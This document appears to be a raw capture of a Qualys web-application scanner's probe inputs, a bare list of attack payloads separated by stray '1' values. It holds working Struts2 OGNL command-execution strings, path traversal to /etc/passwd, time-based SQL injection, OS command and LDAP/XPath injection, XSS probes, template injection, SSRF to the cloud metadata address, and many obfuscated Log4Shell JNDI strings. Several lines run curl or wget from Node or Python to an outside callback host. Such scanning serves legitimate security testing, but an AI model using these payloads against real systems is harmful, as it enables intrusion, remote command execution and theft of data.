%25{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

....//....//....//....//....//....//etc/passwd

1

php://filter/read=string.rot13/resource=/etc/passwd

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

//....//....//....//....//....//....//....//etc/passwd

1

//..//..//..//..//..//..//..//etc/passwd

1

../../../../../../../etc/passwd

/../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

1

1e309

1

1

(

1

,

``

1

1

/*

1

#

1

;--

1

1'

1

qualyswasesi

q Qualys_resp_hdr_injection: Vulnerable

1

1

q Qualys_resp_hdr_injection: Vulnerable

q Content-Type:text/html Content-Length: 190 HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: a=q Content-Length: 2 AA

1

111222

1

1

1

%3cscript z%3e_q(y)%3c/script%3e

1

1

< script a=4>qssTCtFN8lJ=7< /script>

1

" onEvent=X161733060Y1_2Z

1

' onEvent=X161733060Y1_2Z

1

"'>

1

BODY{background:url("javascript:qss94N9ivV0=7")}

1

1

1">

1

1

1

"'>

1

1

1

1

1 _q_q=random(Rn9cHDG5)

1

_q=random(X161733060Y1_2Z)

1

_q=random(X161733060Y1_2Z)

1

"'>

1

z-->

1

1"'>

">

1

1

javascript:qxss(X161733060Y1_2Z);

1

" onEvent=X161733060Y1_2Z

1

' onEvent=X161733060Y1_2Z

1

_q=random(X161733060Y1_2Z)

1

"'>

1

1

1(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Thread@sleep(28*1000))

1

require('child_process').execSync('sleep 29').toString()

1

__import__('os').popen('sleep 29').read()

1' + sleep(29*100*Math.sqrt(100)) + '

1

1

1'; var djci=sleep(29*1000) + '

1

1'; var djci=sleep(29*1000);//

1

1' OR (SELECT 1337 FROM (SELECT(SLEEP(29)))prime) AND 'qualys'='qualys

1

1' WHERE 1337=1337 AND (SELECT 1319 FROM (SELECT(SLEEP(29)))qualys)-- prime

1

1(SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333) /*'XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR'|"XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR"*/

1

1;SELECT sleep(29); --

1' + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_2222) + '

1

1

1 + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_1111)

1

1',0,0);WAITFOR DELAY'00:00:29'--

1

1');WAITFOR DELAY '00:00:29'--

1

1';WAITFOR DELAY '00:00:29'--

1

1);WAITFOR DELAY '00:00:29'--

1

1;WAITFOR DELAY '00:00:29';

1

1WAITFOR DELAY '00:00:29'

1

|ping -c2 -i91 localhost|

1

|ping -c2 -i56 localhost

1

ping -c2 -i91 localhost

1

aaaa&ping -n 92 localhost&

1

1

1

1

1" or not(false()) or "true" = "true

1

1" and false() and "or" = "and

1

1" or true() or "and" = "and

1 or not(false()) or 'true' = 'true'

1

1 and false() and 'or' = 'and'

1

1

1 or true() or 'and' = 'and'

1

1

1

1' or not(false()) or 'true' = 'true

1' and false() and 'or' = 'and

1' or true() or 'and' = 'and

1

1

15 oR 9=8 + 1

1

11 or 11=12

11 or 11=11

1' /* or __Q_1__ */oR ' aND xqlkp'=' aND xqlkp

1

1' and 'tpklq'='xqlkp

1

1

1' or 'tpklq'='tpklq

1

1') /* or __Q_1__ */oR ' aND ptqws'=' aND ptqws

1

1

1') and 'swqtp'='ptqws

1') or 'swqtp'='swqtp

1

1

1 aND 7248=2491 + 4757

1

1 and 7248 IS NULL

1 and NULL IS NULL

1

1 oR 6248=2491 + 3757

1

1

1 or 6248 IS NULL

1 or NULL IS NULL

1

1 /* or __Q_1__ */oR 4325=1597 + 2728 -- aND 2729

1

1

1 and 4325=2728 --

1 or 4325=4325 --

1

1

1

1' /* or __Q_1__ */oR 3789=2398 + 1391 -- aND 1390

1' and 3789=1391 --

1' or 3789=3789 --

1

1') /* or __Q_1__ */oR 2634=1511 + 1123 -- aND 1124

1

1') and 2634=1123 --

1

1') or 2634=2634 --

1

1

1

file:///etc/passwd

1

1

1

http://localhost:19096

1

$..[?(p="console.log(this.process.mainModule.require('child_process').execSync('curl 233fc4b11c987c59b14b9f22daa8e6524b984162.17414239393642422.687986010.oscomm15279701.oscomm.eu2.qualysperiscope.com.').toString())";QualysWAS=''[['constructor']][['constructor']](p);QualysWAS())]

1

__import__('os').popen('wget 4e39e6a5aabd45c19d3ddef6be57a42658bf50fb.17414239393642422.1788365057.oscomm15214101.oscomm.eu2.qualysperiscope.com.').read()

1

__import__('os').popen('curl 1ffa80387dd5915a14dfe163248eebbc03ed72df.17414239393642422.1940405259.oscomm15214100.oscomm.eu2.qualysperiscope.com.').read()

1

@pd.core.frame.com.builtins.__import__("os").system("""curl 31abd99331a30c72a1e04acbcbc43f177f082ffc.17414239393642422.220294433.oscomm15256401.oscomm.eu2.qualysperiscope.com.#""")

1

@pd.core.frame.com.builtins.__import__("os").system("""curl 33e2d1de457dc947cf98d00ac018ec30cbc0ef58.17414239393642422.1462547719.oscomm15256400.oscomm.eu2.qualysperiscope.com.#""")

1

${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","6d4fbc9616d72fc13158f19ce571e82d84907557.17414239393642422.210185637.oscomm15079701.oscomm.eu2.qualysperiscope.com.")}

1

1

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://c42afc797897537f9587a591e96606a18f8f5c49.17414239393642422.2351549892.log4j12.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://2b071fc88776846f8b10901570145918ca918680.17414239393642422.2595940560.log4j11.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//9d8a777ccaa2579f6400898c4e254ddb19aea3c6.17414239393642422.1347580885.log4j10.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:dns://249dca7a46e82d2cfc7f367c346b8199553db27d.17414239393642422.2039665528.log4j09.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//0dbfaf8de2252194278d8af3a4ed37f76e9ab1d9.17414239393642422.4218967135.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jnd${123%ff:-${123%ff:-i:}}ldap://233a56f843c5ca2d1e509ff20b5442d78bcd238f.17414239393642422.1933132890.log4j07.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${::-n}di:ldap${::-:}//845cbce6a64c6f39bb71fbafc1155240e03d8bc7.17414239393642422.3206029122.log4j06.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://6e2a4db22611c024838a84abe4ab1e8e618cc0c8.17414239393642422.1388695153.log4j05.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://37d027235d23eeaefffca5cab3f65cb0618f3178.17414239393642422.3272792185.log4j04.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:rmi://f5a906bb3773ea1ea12da84da5fd65a1501a024e.17414239393642422.4258335415.log4j03.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:ldap://09811d7dd14a2d7829e69b1dfdb61a3a1f9f0929.17414239393642422.785876154.log4j02.log4j.eu2.qualysperiscope.com./QualysWAS}

1

2bb4e35f5321992e2f41f139c8e31afbffccca39.17414239393642422.3606887439.ssrf02.ssrf.eu2.qualysperiscope.com.

1

http://764042d7066a11d93547beef462ea9d2b08e1bea.17414239393642422.4259174187.ssrf01.ssrf.eu2.qualysperiscope.com.

1

Joe+ bcc:was_engine@21baaec7b5482e5e246512e3d7c239e8d7b84dc8.17414239393642422.1228455659.smtphi01.smtp.eu2.qualysperiscope.com.

1

1)(|(uidNumber=*)

1

1)(|(gidNumber=*)

1

1)(|(homeDirectory=*)

1

1)(|(uid=*)

1

1)(|(objectclass=*)

1

1*

1

1)(|(cn=*))

1

1*(|(objectclass=*))

1

1)(uid=*))(|(uid=*

1

1)(attribute2=*)

1

QualysWAS${150797*150797}QualysWAS

1

${''.getClass().forName('java.lang.Runtime').getMethods()[6].toString()}

1

QualysWAS${"150898".toString().replace("8", "7")}QualysWAS

1

https://community.qualys.com/

1

http://169.254.169.254/latest/meta-data/

1

function(){qxss3SCTJQk3};

1

qualyswas:

1

(23.0231*213.759)

1

;echo 23.0231*213.759;//{@math key=4335.158242899999 method="add" operand=586.23659/} /* #set($value=23.0231*213.759) $value */

1

1

|aaaa =(23.0231*213.759) |${23.0231*213.759}{23.0231*213.759}4921.3948329(23.0231*213.7591)=(23.0231*213.759)#{23.0231*213.759}

1

!@#$%^&*()

1

!@#$%^&*()1

1

1!@#$%^&*()

1

1

1

"-qxssNnE1qTe8()-"